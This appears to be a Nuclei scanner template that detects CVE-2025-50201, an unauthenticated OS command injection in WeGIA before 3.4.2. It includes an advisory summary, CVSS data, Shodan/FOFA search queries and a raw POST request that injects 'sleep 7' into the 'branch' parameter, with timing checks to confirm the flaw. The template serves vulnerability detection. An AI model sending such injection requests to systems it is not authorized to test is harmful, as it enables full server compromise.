Copy
id: CVE-2025-50201
info:
name: WeGIA < 3.4.2 - Unauthenticated OS Command Injection
author: Securin
severity: critical
description: |
WeGIA < 3.4.2 contains an unauthenticated OS command injection in the `branch` parameter of html/configuracao/debug_info.php. The session check issues a redirect header without terminating execution, and `branch` is then concatenated unsanitized into `exec("git -C ".ROOT." checkout $branch")`.
impact: |
An unauthenticated attacker can execute arbitrary OS commands as the web server user, leading to full server compromise.
remediation: |
Upgrade WeGIA to version 3.4.2 or later.
reference:
- https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-52p5-5fmw-9hrf
- https://github.com/LabRedesCefetRJ/WeGIA/blob/3.4.1/html/configuracao/debug_info.php
- https://nvd.nist.gov/vuln/detail/CVE-2025-50201
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-50201
epss-score: 0.14188
epss-percentile: 0.96679
cwe-id: CWE-78
cpe: cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: wegia
product: wegia
fofa-query: title="WeGIA"
shodan-query: title:"WeGIA"
tags: cve,cve2025,wegia,rce
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 20s
POST /html/configuracao/debug_info.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
branch=master%3B+sleep+7&action=switch
matchers:
- type: dsl
dsl:
- 'contains(tolower(body_1), "wegia")'
- 'status_code_2 == 302'
- 'duration_2 >= 7'
condition: and
# digest: 4b0a00483046022100df263bdbb1c4072147db68dcc1201d02a74117c165aa1a2bbcaa9ca515db0c76022100df88fcdf26ec3aba8fa698554130c13286d83b600dcf34822ae42cb1e8d977db:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.